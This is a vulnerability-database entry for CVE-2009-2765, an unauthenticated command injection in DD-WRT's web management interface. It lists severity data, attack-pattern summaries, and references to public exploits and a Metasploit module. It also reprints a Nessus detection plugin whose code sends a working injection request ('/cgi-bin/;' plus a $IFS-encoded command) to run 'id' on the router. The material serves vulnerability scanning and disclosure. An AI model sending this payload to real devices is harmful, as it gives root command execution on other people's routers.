Vulnerabilities > CVE-2009-2765 - Improper Input Validation vulnerability in Dd-Wrt

047910
CVSS 8.3 - HIGH
Attack vector
ADJACENT_NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
low complexity
dd-wrt
CWE-20
nessus
exploit available
metasploit

Summary

httpd.c in httpd in the management GUI in DD-WRT 24 sp1, and other versions before build 12533, allows remote attackers to execute arbitrary commands via shell metacharacters in a request to a cgi-bin/ URI.

Vulnerable Configurations

Part Description Count
Application
Dd-Wrt
1

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Buffer Overflow via Environment Variables
    This attack pattern involves causing a buffer overflow through manipulation of environment variables. Once the attacker finds that they can modify an environment variable, they may try to overflow associated buffers. This attack leverages implicit trust often placed in environment variables.
  • Server Side Include (SSI) Injection
    An attacker can use Server Side Include (SSI) Injection to send code to a web application that then gets executed by the web server. Doing so enables the attacker to achieve similar results to Cross Site Scripting, viz., arbitrary code execution and information disclosure, albeit on a more limited scale, since the SSI directives are nowhere near as powerful as a full-fledged scripting language. Nonetheless, the attacker can conveniently gain access to sensitive files, such as password files, and execute shell commands.
  • Cross Zone Scripting
    An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security. In a zone-based model, pages belong to one of a set of zones corresponding to the level of privilege assigned to that page. Pages in an untrusted zone would have a lesser level of access to the system and/or be restricted in the types of executable content it was allowed to invoke. In a cross-zone scripting attack, a page that should be assigned to a less privileged zone is granted the privileges of a more trusted zone. This can be accomplished by exploiting bugs in the browser, exploiting incorrect configuration in the zone controls, through a cross-site scripting attack that causes the attackers' content to be treated as coming from a more trusted page, or by leveraging some piece of system functionality that is accessible from both the trusted and less trusted zone. This attack differs from "Restful Privilege Escalation" in that the latter correlates to the inadequate securing of RESTful access methods (such as HTTP DELETE) on the server, while cross-zone scripting attacks the concept of security zones as implemented by a browser.
  • Cross Site Scripting through Log Files
    An attacker may leverage a system weakness where logs are susceptible to log injection to insert scripts into the system's logs. If these logs are later viewed by an administrator through a thin administrative interface and the log data is not properly HTML encoded before being written to the page, the attackers' scripts stored in the log will be executed in the administrative interface with potentially serious consequences. This attack pattern is really a combination of two other attack patterns: log injection and stored cross site scripting.
  • Command Line Execution through SQL Injection
    An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.

Exploit-Db

  • descriptionDD-WRT (httpd service) Remote Command Execution Vulnerability. CVE-2008-6974,CVE-2008-6975,CVE-2009-2765,CVE-2009-2766. Remote exploit for hardware platform
    fileexploits/hardware/remote/9209.txt
    idEDB-ID:9209
    last seen2016-02-01
    modified2009-07-20
    platformhardware
    port
    published2009-07-20
    reportergat3way
    sourcehttps://www.exploit-db.com/download/9209/
    titleDD-WRT httpd service Remote Command Execution Vulnerability
    typeremote
  • descriptionDD-WRT HTTP Daemon Arbitrary Command Execution. CVE-2009-2765. Webapps exploit for cgi platform
    idEDB-ID:16856
    last seen2016-02-02
    modified2010-07-07
    published2010-07-07
    reportermetasploit
    sourcehttps://www.exploit-db.com/download/16856/
    titleDD-WRT HTTP Daemon Arbitrary Command Execution
  • descriptionDD-WRT HTTP v24-SP1 Command Injection Vulnerability. CVE-2009-2765. Remote exploit for linux platform
    idEDB-ID:10030
    last seen2016-02-01
    modified2009-07-20
    published2009-07-20
    reporterH D Moore
    sourcehttps://www.exploit-db.com/download/10030/
    titleDD-WRT HTTP v24-SP1 - Command Injection Vulnerability

Metasploit

descriptionThis module abuses a metacharacter injection vulnerability in the HTTP management server of wireless gateways running DD-WRT. This flaw allows an unauthenticated attacker to execute arbitrary commands as the root user account.
idMSF:EXPLOIT/LINUX/HTTP/DDWRT_CGIBIN_EXEC
last seen2020-06-10
modified2017-07-24
published2009-07-21
referenceshttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2765
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/linux/http/ddwrt_cgibin_exec.rb
titleDD-WRT HTTP Daemon Arbitrary Command Execution

Nessus

NASL familyWeb Servers
NASL idDDWRT_CGIBIN_CMD_EXEC.NASL
descriptionThe remote web server is vulnerable to a command injection attack that may allow an attacker to execute arbitrary commands on the remote server (usually with root privileges). An attacker can exploit this flaw to take complete ownership of the remote device.
last seen2020-06-01
modified2020-06-02
plugin id40353
published2009-07-23
reporterThis script is Copyright (C) 2009-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/40353
titleDD-WRT HTTP Daemon Metacharacter Injection Remote Code Execution
code
#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");


if(description)
{
  script_id(40353);
  script_version("1.20");

  script_cve_id("CVE-2009-2765");
  script_bugtraq_id(35742);
  script_xref(name:"EDB-ID", value:"9209");

  script_name(english:"DD-WRT HTTP Daemon Metacharacter Injection Remote Code Execution");
  script_summary(english:"Tries to execute a command");
 
  script_set_attribute(
    attribute:"synopsis",
    value:"An attacker can execute arbitrary code on the remote router."
  );
  script_set_attribute( attribute:"description", value:
"The remote web server is vulnerable to a command injection attack that 
may allow an attacker to execute arbitrary commands on the remote server
(usually with root privileges).
An attacker can exploit this flaw to take complete ownership of the 
remote device."  );
  script_set_attribute(
    attribute:"see_also", 
    value:"http://www.dd-wrt.com/dd-wrtv3/index.php"
  );
  script_set_attribute(
    attribute:"see_also", 
    value:"https://forum.dd-wrt.com/phpBB2/viewtopic.php?t=55173"
  );
  script_set_attribute(
    attribute:"solution", 
    value:"Unknown at this time."
  );
  script_set_cvss_base_vector("CVSS2#AV:A/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"metasploit_name", value:'DD-WRT HTTP Daemon Arbitrary Command Execution');
 script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
 script_cwe_id(20);
  script_set_attribute(
    attribute:"vuln_publication_date", 
    value:"2009/07/20"
  );
  script_set_attribute(
    attribute:"plugin_publication_date", 
    value:"2009/07/23"
  );
 script_cvs_date("Date: 2018/11/15 20:50:25");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"Web Servers");

  script_copyright(english:"This script is Copyright (C) 2009-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencie("http_version.nasl");
  script_require_ports("Services/www", 80);

  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
include("data_protection.inc");

port = get_http_port(default:80, embedded:TRUE);

file = http_get_cache(port:port, item:"/", exit_on_fail: 1);
if (
  "http://www.dd-wrt.com/" >!< file &&
  ">DD-WRT Control Panel<" >!< file
) exit(0, "DD-WRT is not running on the remote host.");


cmd = "id";
cmd_pat = "uid=[0-9]+.*gid=[0-9]+.*";

enc_cmd = str_replace(find:" ", replace:"$IFS", string:cmd);
enc_cmd = urlencode(
  str        : enc_cmd,
  unreserved : "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_!~*'()-]/=;$"
);


# nb: don't use the HTTP API here as the remote server will not 
#     answer with a valid HTTP reply.
for (fd=5; fd<=7; fd++)
{
  soc = open_sock_tcp(port);
  if (!soc) exit(1, "Could not re-connect to the remote server.");

  req = string(
    'GET /cgi-bin/;', enc_cmd, '>&', fd, ' HTTP/1.0\r\n',
    '\r\n'
  );
  send(socket:soc, data:req);
  res = recv(socket:soc, length:4096);
  if (res && egrep(pattern:cmd_pat, string:res))
  {
    if (report_verbosity > 0)
    {
      report = string(
        "\n",
        "Nessus was able to execute the command '", cmd, "' on the remote \n",
        "host using the following request :\n",
        "\n",
        crap(data:"-", length:30), " snip ", crap(data:"-", length:30), "\n",
        req,
        crap(data:"-", length:30), " snip ", crap(data:"-", length:30), "\n"
      );
      if (report_verbosity > 1)
      {
        output = res - strstr(res, "HTTP/1.0 401 Unauthorized");
        report = string(
          report,
          "\n",
          "It produced the following output :\n",
          "\n",
          crap(data:"-", length:30), " snip ", crap(data:"-", length:30), "\n",
          data_protection::sanitize_uid(output:output),
          crap(data:"-", length:30), " snip ", crap(data:"-", length:30), "\n"
        );
      }
      security_hole(port:port, extra:report);
    }
    else security_hole(port);

    exit(0);
  }
}
exit(0, 'The host is not vulnerable.');

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/82235/ddwrt_cgibin_exec.rb.txt
idPACKETSTORM:82235
last seen2016-12-05
published2009-10-27
reporterH D Moore
sourcehttps://packetstormsecurity.com/files/82235/DD-WRT-HTTP-Daemon-Arbitrary-Command-Execution.html
titleDD-WRT HTTP Daemon Arbitrary Command Execution